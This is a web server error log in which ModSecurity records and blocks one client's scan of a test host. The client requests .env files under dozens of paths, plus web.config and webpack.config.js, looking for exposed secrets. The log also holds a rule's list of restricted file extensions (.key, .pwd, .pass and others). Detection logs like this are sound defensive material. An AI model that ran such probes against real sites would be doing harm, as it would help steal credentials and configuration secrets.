[Thu Feb 26 01:03:24.715818 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HgAAAAY&quot;]
[Thu Feb 26 01:03:24.739941 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/vuecli/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HwAAAAY&quot;]
[Thu Feb 26 01:03:24.740167 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HwAAAAY&quot;]
[Thu Feb 26 01:03:24.740322 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5HwAAAAY&quot;]
[Thu Feb 26 01:03:24.768986 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue_crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IAAAAAY&quot;]
[Thu Feb 26 01:03:24.769202 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IAAAAAY&quot;]
[Thu Feb 26 01:03:24.769350 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IAAAAAY&quot;]
[Thu Feb 26 01:03:24.806464 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/sitemariage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVOgAAAAc&quot;]
[Thu Feb 26 01:03:24.806668 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVOgAAAAc&quot;]
[Thu Feb 26 01:03:24.806803 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVOgAAAAc&quot;]
[Thu Feb 26 01:03:24.833279 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web-dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IgAAAAY&quot;]
[Thu Feb 26 01:03:24.833520 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IgAAAAY&quot;]
[Thu Feb 26 01:03:24.833700 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IgAAAAY&quot;]
[Thu Feb 26 01:03:24.868490 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IwAAAAY&quot;]
[Thu Feb 26 01:03:24.868770 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IwAAAAY&quot;]
[Thu Feb 26 01:03:24.869024 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IwAAAAY&quot;]
[Thu Feb 26 01:03:24.869171 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5IwAAAAY&quot;]
[Thu Feb 26 01:03:24.888833 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVPAAAAAc&quot;]
[Thu Feb 26 01:03:24.889054 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVPAAAAAc&quot;]
[Thu Feb 26 01:03:24.889203 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVPAAAAAc&quot;]
[Thu Feb 26 01:03:24.927300 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webroot_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVPQAAAAc&quot;]
[Thu Feb 26 01:03:24.927527 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVPQAAAAc&quot;]
[Thu Feb 26 01:03:24.927677 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVPQAAAAc&quot;]
[Thu Feb 26 01:03:25.012527 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/sitemariage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5JgAAAAY&quot;]
[Thu Feb 26 01:03:25.012783 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5JgAAAAY&quot;]
[Thu Feb 26 01:03:25.012973 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5JgAAAAY&quot;]
[Thu Feb 26 01:03:25.062601 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKQAAAAM&quot;]
[Thu Feb 26 01:03:25.062834 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKQAAAAM&quot;]
[Thu Feb 26 01:03:25.062981 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElKQAAAAM&quot;]
[Thu Feb 26 01:03:25.070706 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5KAAAAAY&quot;]
[Thu Feb 26 01:03:25.070938 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5KAAAAAY&quot;]
[Thu Feb 26 01:03:25.071090 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aZ-NzZqP6Uim1aZiP_g5KAAAAAY&quot;]
